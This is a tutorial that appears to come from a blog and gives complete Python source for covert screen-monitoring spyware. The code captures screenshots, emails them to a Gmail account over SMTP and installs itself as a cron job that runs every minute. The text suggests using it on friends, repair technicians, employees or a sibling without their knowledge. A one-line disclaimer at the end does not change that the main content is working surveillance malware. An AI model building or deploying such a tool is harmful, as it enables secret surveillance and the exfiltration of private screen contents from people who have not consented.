We are going to talk about a very important topic today. But I want you to imagine something. Let’s say one of your friends wanted to borrow your laptop for somedays. Or you gave your laptop to a guy who is gonna fix some software issues. Or maybe you want to spy on your employee for some reason. All you need is to see a screenshot after every certain amount of time. Or maybe you wanna check what your younger brother doing on his computer. You need information for some ethical reasons or your personal or business safety. We will build a solution for that. Which can be optimized in many ways later.
Objectives
- Take a screenshot of the target computer.
- Send the screenshot to an email address.
- Add this task to Cron job programmatically.
Prerequisites
- Linux (mine is ubuntu 18.04)
- Python3
- pip
- venv
- pyscreenshot==2.2
- Pillow==7.2.0
Environment Setup & Installation
Always remember, whenever you are becoming a crazy horse to build a new python project, just hold that horse for a few seconds. Set up a virtual environment first and thank me later. Go to your favorite directory and follow the steps
python3 -m venv my_env
cd my_env
Now we need to activate the virtual environment. And then we need to install python-crontab, Pillow, and pyscreenshoot packages.
. bin/activate pip install python-crontab
pip install Pillow pyscreenshot
Now create our project repository. We will call our project spy.
mkdir spy
Application Structure
In our assets folder, the screenshot will be stored. Our cronjob package will be responsible for the core functionality for setting cron job programmatically. The spy_action package is the core package for this task. This will contain the action for taking a screenshot and sending it to your email.
. ├── assets │ └── fullscreen.png ├── cronjob │ ├── __init__.py │ └── scheduler.py ├── spy_action │ ├── __init__.py │ ├── mail.py │ └── screenshot.py └── spy.py ├── run.py ├── settings.py
Config our settings.py
In our settings.py file, we will set our emails and credentials. In your case keep them in .env file and call them into settings.py. We will also set some location path in variables.
import os
SENDER_EMAIL = "sender@gmail.com"
SENDER_PASSWORD = "gmail app password"
RECEIVER_EMAIL = "receiver@gmail.com"
directory = os.path.dirname(os.path.realpath(__file__)).rsplit(os.sep, 2)
project_root_dir = directory[0] + "/" + directory[1] + "/" + directory[2]
venv_directory = directory[0] + "/" + directory[1]
python_location = venv_directory + '/bin/python3'
executive_file = directory[0]
+ "/" + directory[1]
+ "/" + directory[2]
+ '/spy.py'
cron_job_command = python_location + " " + executive_file
Take Screenshot
In our spy_action/screenshot.py file, write the below code.
import pyscreenshot as ImageGrab
from settings import project_root_dir
def upload_path() -> str:
return project_root_dir + '/assets/'
def take_screenshot() -> dict:
try:
full_image_path = upload_path() + 'fullscreen.png'
print(full_image_path)
image = ImageGrab.grab()
image.save(full_image_path)
return dict(success=True, path=full_image_path)
except Exception as error:
print(error)
return dict(success=False)
This file has 2 methods. One is upload_path() and another is take_screenshot(). In our upload_path() method we will set the path of upload folder and return it. And will invoke the method in the take_screenshot() method and will take the full screenshot of the computer.
To take the screenshot use,
image = ImageGrab.grab()
And to save it in our directory,
image.save(full_image_path)
Send image file to an email
Now our target is to monitor right? In this article, we used an email for monitoring. You can even use your custom web app to store the image. That’s mean you have to use python’s request library to make a post request. Inside your spy_action/mail.py file, import all the necessary things.
import os import smtplib from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart from settings import (SENDER_EMAIL, SENDER_PASSWORD, RECEIVER_EMAIL)
Then we need to prepare a mail content to send. Write the below method in the same file.
def prepare_mail(ImgFileName):
"""
Prepare mail content
:rtype: object
"""
img_data = open(ImgFileName, 'rb').read()
message = MIMEMultipart()
message['Subject'] = 'SPY!'
image = MIMEImage(img_data, name=os.path.basename(ImgFileName))
message.attach(image)
return message
Then we actually need to send the mail content. To do that write the below method.
def send_mail(ImgFileName):
"""
Send the email
:rtype: object
"""
mail = prepare_mail(ImgFileName)
mailer = smtplib.SMTP('smtp.gmail.com', 587)
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login(SENDER_EMAIL, SENDER_PASSWORD)
mailer.sendmail(SENDER_EMAIL, RECEIVER_EMAIL, mail.as_string())
mailer.quit()
After that, your mail.py file will look like this.
import os
import smtplib
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from settings import (SENDER_EMAIL, SENDER_PASSWORD, RECEIVER_EMAIL)
def prepare_mail(ImgFileName):
"""
Prepare mail content
:rtype: object
"""
img_data = open(ImgFileName, 'rb').read()
message = MIMEMultipart()
message['Subject'] = 'SPY!'
image = MIMEImage(img_data, name=os.path.basename(ImgFileName))
message.attach(image)
return message
def send_mail(ImgFileName):
"""
Send the email
:rtype: object
"""
mail = prepare_mail(ImgFileName)
mailer = smtplib.SMTP('smtp.gmail.com', 587)
mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login(SENDER_EMAIL, SENDER_PASSWORD)
mailer.sendmail(SENDER_EMAIL, RECEIVER_EMAIL, mail.as_string())
mailer.quit()
Now in your spy.py file write the below code which will invoke those methods to finally send the proper screenshot.
from spy_action.mail import send_mail
from spy_action.screenshot import take_screenshot
def screen_catcher():
image = take_screenshot()
send_mail(image["path"])
if __name__ == "__main__":
screen_catcher()
The deadly cron-job
Now, it’s time, we will use the power of cronjob. In one of my previous articles, I talked about managing cronjob using python. Which you can find here. From that article, you will use some code. Where we will have a class that is responsible for adding a cronjob by a given command. There will also be some helping methods to set the schedule.
We will use the code in our cronjob/scheduler.py file.
"""
----------------------------------------------------------------------------
Scheduler module
----------------------------------------------------------------------------
1. Can create cron jobs with specific time schedule
Case Meaning
@reboot Every boot
@hourly 0 * * * *
@daily 0 0 * * *
@weekly 0 0 * * 0
@monthly 0 0 1 * *
@yearly 0 0 1 1 *
----------------------------------------------------------------------------
2. can remove all cron jobs
----------------------------------------------------------------------------
"""
from crontab import CronTab, CronItem
class Scheduler:
"""Scheduler class"""
def __init__(self, command: str):
"""
Here we will initiate a Cron
and set the command
:param command: command to execute
"""
self.cron = CronTab(user=True)
self.command = command
def __create_cron_job(self) -> CronItem:
"""
Create a new job and return it
:return: job
"""
job = self.cron.new(command=self.command)
return job
def minutely_execution(self) -> bool:
"""
Execute job every minute
:return:
"""
try:
job = self.__create_cron_job()
job.minute.every(1)
job.enable()
self.cron.write()
print(job)
if self.cron.render():
print("done")
return True
print("failed")
return False
except Exception as error:
print(error)
return False
def hourly_execution(self) -> bool:
"""
Execute job every hour
:return:
"""
try:
job = self.__create_cron_job()
job.minute.on(0)
job.hour.during(0, 23)
job.enable()
self.cron.write()
if self.cron.render():
return True
return False
except Exception as error:
print(error)
return False
def daily_execution(self) -> bool:
"""
Execute job every day
:return:
"""
try:
job = self.__create_cron_job()
job.minute.on(0)
job.hour.on(0)
job.enable()
self.cron.write()
if self.cron.render():
return True
return False
except Exception as error:
print(error)
return False
def weekly_execution(self) -> bool:
"""
Execute job every week
:return:
"""
try:
job = self.__create_cron_job()
job.minute.on(0)
job.hour.on(0)
job.dow.on(1)
job.enable()
self.cron.write()
if self.cron.render():
return True
return False
except Exception as error:
print(error)
return False
def monthly_execution(self) -> bool:
"""
Execute job every month
:return:
"""
try:
job = self.__create_cron_job()
job.minute.on(0)
job.hour.on(0)
job.day.on(1)
job.month.during(1, 12)
job.enable()
self.cron.write()
if self.cron.render():
return True
return False
except Exception as error:
print(error)
return False
def yearly_execution(self) -> bool:
"""
Execute job every year
:return:
"""
try:
job = self.__create_cron_job()
job.minute.on(0)
job.hour.on(0)
job.month.on(12)
job.enable()
self.cron.write()
if self.cron.render():
return True
return False
except Exception as error:
print(error)
return False
def execute_after_reboot(self) -> bool:
"""
Execute job after every reboot
:return:
"""
try:
job = self.__create_cron_job()
job.every_reboot()
job.enable()
self.cron.write()
if self.cron.render():
return True
return False
except Exception as error:
print(error)
return False
def delete_all_jobs(self) -> bool:
"""
remove all cron jobs
:return:
"""
try:
self.cron.remove_all()
return True
except Exception as error:
print(error)
return False
Check it out, there are many useful methods.
Then in our run.py, we will add the spy.py file in a cronjob. That will execute every minute. Of course, you can change the schedule as you wish. You have all the methods in the cronjob/scheduler.py file.
from cronjob.scheduler import Scheduler
from settings import cron_job_command
if __name__ == "__main__":
# Execute job
scheduler = Scheduler(cron_job_command)
scheduler.minutely_execution()
Never Stop Learning! But be ethical with scripts!
Well, there are many ways. You can build the whole app for Linux/Windows anytime you like. Or you can just run the run.py file and it will do the rest of the work. Be aware, do not use it for unethical purposes. I wrote this article for educational and self-security purposes only.
Full source code can be found in my Github repository: https://github.com/zim0101/spy_on_your_friend.

